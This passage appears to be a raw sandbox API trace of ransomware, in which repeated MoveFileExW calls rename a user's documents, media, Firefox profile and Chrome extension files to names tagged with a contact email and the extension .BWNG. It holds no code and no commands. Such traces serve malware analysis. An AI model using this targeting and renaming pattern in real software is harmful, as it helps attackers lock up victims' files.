halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].xsabr3zl-xr1a0bwn.bwng"), dwFlags=0x1) returned 1 [0129.351] GetTickCount () returned 0x1167e16 [0129.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27130293240) returned 1 [0129.351] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\localstore.rdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].h1B9bMmg-mA9kIDBC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].h1b9bmmg-ma9kidbc.bwng"), dwFlags=0x1) returned 1 [0129.352] GetTickCount () returned 0x1167e16 [0129.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27130427145) returned 1 [0129.352] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pbPUp00ifJdsEbDZQD9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pbpup00ifjdsebdzqd9.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].Eonsx1Ci-IdGDqLoE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].eonsx1ci-idgdqloe.bwng"), dwFlags=0x1) returned 1 [0129.354] GetTickCount () returned 0x1167e16 [0129.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27130598620) returned 1 [0129.354] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\[billwong73@yahoo.com].9cdx0bnY-WMb5pGRi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\[billwong73@yahoo.com].9cdx0bny-wmb5pgri.bwng"), dwFlags=0x1) returned 1 [0129.355] GetTickCount () returned 0x1167e16 [0129.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27130748561) returned 1 [0129.356] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\[billwong73@yahoo.com].FhtQ1zNo-e3yEXFxs.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\[billwong73@yahoo.com].fhtq1zno-e3yexfxs.bwng"), dwFlags=0x1) returned 1 [0129.357] GetTickCount () returned 0x1167e26 [0129.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27130925472) returned 1 [0129.357] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5qXgv.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5qxgv.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].h8TQ0HRI-yVwjXaHn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].h8tq0hri-yvwjxahn.bwng"), dwFlags=0x1) returned 1 [0129.359] GetTickCount () returned 0x1167e26 [0129.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27131077790) returned 1 [0129.359] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ouu9U.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ouu9u.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].1e2yQ0WB-CmRe65Wb.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].1e2yq0wb-cmre65wb.bwng"), dwFlags=0x1) returned 1 [0129.360] GetTickCount () returned 0x1167e26 [0129.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27131250146) returned 1 [0129.361] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\[billwong73@yahoo.com].pLVZhMoF-Zmoaqkr9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\[billwong73@yahoo.com].plvzhmof-zmoaqkr9.bwng"), dwFlags=0x1) returned 1 [0129.362] GetTickCount () returned 0x1167e26 [0129.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27131431235) returned 1 [0129.362] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\[billwong73@yahoo.com].wwCMhegv-nED9kFoY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\[billwong73@yahoo.com].wwcmhegv-ned9kfoy.bwng"), dwFlags=0x1) returned 1 [0129.363] GetTickCount () returned 0x1167e26 [0129.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27131573447) returned 1 [0129.364] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\0EyeLvRo8p3.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\0eyelvro8p3.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].5Sdfp9MZ-BDfr7VUd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].5sdfp9mz-bdfr7vud.bwng"), dwFlags=0x1) returned 1 [0129.365] GetTickCount () returned 0x1167e26 [0129.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27131704206) returned 1 [0129.365] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\C2L0NUWhcZCtWeWX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c2l0nuwhczctwewx.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].U0ithGgL-Ys5kQ7b1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].u0ithggl-ys5kq7b1.bwng"), dwFlags=0x1) returned 1 [0129.366] GetTickCount () returned 0x1167e26 [0129.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27131832479) returned 1 [0129.366] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mqaA7OSp4n6suM5nf.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mqaa7osp4n6sum5nf.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].0231Mt5D-73vyMAi5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].0231mt5d-73vymai5.bwng"), dwFlags=0x1) returned 1 [0129.367] GetTickCount () returned 0x1167e26 [0129.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27131958545) returned 1 [0129.368] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Uf1aI4F5-4tlSBnCq0qn.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uf1ai4f5-4tlsbncq0qn.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].73A9dapk-VybN35jr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].73a9dapk-vybn35jr.bwng"), dwFlags=0x1) returned 1 [0129.368] GetTickCount () returned 0x1167e26 [0129.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27132071007) returned 1 [0129.369] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8Q2Kq4k2V- AfO9.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8q2kq4k2v- afo9.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\[billwong73@yahoo.com].3bgWzOVB-R5u3pYQ9.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\[billwong73@yahoo.com].3bgwzovb-r5u3pyq9.bwng"), dwFlags=0x1) returned 1 [0129.370] GetTickCount () returned 0x1167e26 [0129.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27132219421) returned 1 [0129.370] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jEE_z.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jee_z.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\[billwong73@yahoo.com].6CCxTwuW-ixoOWdW1.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\[billwong73@yahoo.com].6ccxtwuw-ixoowdw1.bwng"), dwFlags=0x1) returned 1 [0129.422] GetTickCount () returned 0x1167e64 [0129.422] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27137472499) returned 1 [0129.423] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Q6fI2gVzfIR5Z.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q6fi2gvzfir5z.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\[billwong73@yahoo.com].NW3EVFJx-ncX6R25F.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\[billwong73@yahoo.com].nw3evfjx-ncx6r25f.bwng"), dwFlags=0x1) returned 1 [0129.425] GetTickCount () returned 0x1167e64 [0129.425] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27137713216) returned 1 [0129.425] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\is3epnMFG6jAZqBO.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\is3epnmfg6jazqbo.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\[billwong73@yahoo.com].2aR6Ek8L-YEhmsucU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\[billwong73@yahoo.com].2ar6ek8l-yehmsucu.bwng"), dwFlags=0x1) returned 1 [0129.427] GetTickCount () returned 0x1167e64 [0129.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27137920896) returned 1 [0129.427] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\[billwong73@yahoo.com].duvVIQPt-m0G2hDi4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\[billwong73@yahoo.com].duvviqpt-m0g2hdi4.bwng"), dwFlags=0x1) returned 1 [0129.428] GetTickCount () returned 0x1167e64 [0129.428] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27138072023) returned 1 [0129.429] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\[billwong73@yahoo.com].F6jbsJK3-2RO3MV4L.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\[billwong73@yahoo.com].f6jbsjk3-2ro3mv4l.bwng"), dwFlags=0x1) returned 1 [0129.430] GetTickCount () returned 0x1167e64 [0129.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27138272271) returned 1 [0129.431] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\[billwong73@yahoo.com].SMZAusnk-UJu5dAY5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\[billwong73@yahoo.com].smzausnk-uju5day5.bwng"), dwFlags=0x1) returned 1 [0129.432] GetTickCount () returned 0x1167e64 [0129.432] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27138459761) returned 1 [0129.433] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\[billwong73@yahoo.com].FLtf1wbY-sAN4FRDH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\[billwong73@yahoo.com].fltf1wby-san4frdh.bwng"), dwFlags=0x1) returned 1 [0129.434] GetTickCount () returned 0x1167e74 [0129.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27138626000) returned 1 [0129.434] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\[billwong73@yahoo.com].gYcJjQIa-7ruAviDy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\[billwong73@yahoo.com].gycjjqia-7ruavidy.bwng"), dwFlags=0x1) returned 1 [0129.436] GetTickCount () returned 0x1167e74 [0129.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27138779448) returned 1 [0129.436] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\[billwong73@yahoo.com].symrxWH1-2QlE50jV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\[billwong73@yahoo.com].symrxwh1-2qle50jv.bwng"), dwFlags=0x1) returned 1 [0129.437] GetTickCount () returned 0x1167e74 [0129.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27138943527) returned 1 [0129.437] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\[billwong73@yahoo.com].pXuBtwGH-hnYA3IvA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\[billwong73@yahoo.com].pxubtwgh-hnya3iva.bwng"), dwFlags=0x1) returned 1 [0129.439] GetTickCount () returned 0x1167e74 [0129.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27139095055) returned 1 [0129.439] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\[billwong73@yahoo.com].NiGfWFXj-HbmXhjG8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\[billwong73@yahoo.com].nigfwfxj-hbmxhjg8.bwng"), dwFlags=0x1) returned 1 [0129.444] GetTickCount () returned 0x1167e74 [0129.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27139628659) returned 1 [0129.444] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\[billwong73@yahoo.com].UMEAF9pt-q8DxBlM8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\[billwong73@yahoo.com].umeaf9pt-q8dxblm8.bwng"), dwFlags=0x1) returned 1 [0129.446] GetTickCount () returned 0x1167e74 [0129.446] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27139809413) returned 1 [0129.446] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\[billwong73@yahoo.com].3wl616KS-2uMHHgqa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\[billwong73@yahoo.com].3wl616ks-2umhhgqa.bwng"), dwFlags=0x1) returned 1 [0129.448] GetTickCount () returned 0x1167e74 [0129.448] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27139995265) returned 1 [0129.448] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\[billwong73@yahoo.com].QHC8M1sW-5XRFGmSX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\[billwong73@yahoo.com].qhc8m1sw-5xrfgmsx.bwng"), dwFlags=0x1) returned 1 [0129.450] GetTickCount () returned 0x1167e83 [0129.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27140231546) returned 1 [0129.450] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\[billwong73@yahoo.com].9IWwuYSm-i4OHIxdE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\[billwong73@yahoo.com].9iwwuysm-i4ohixde.bwng"), dwFlags=0x1) returned 1 [0129.452] GetTickCount () returned 0x1167e83 [0129.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27140416201) returned 1 [0129.452] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\[billwong73@yahoo.com].g11dTOQK-BT8KMDkN.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\[billwong73@yahoo.com].g11dtoqk-bt8kmdkn.bwng"), dwFlags=0x1) returned 1 [0129.454] GetTickCount () returned 0x1167e83 [0129.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27140580756) returned 1 [0129.454] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 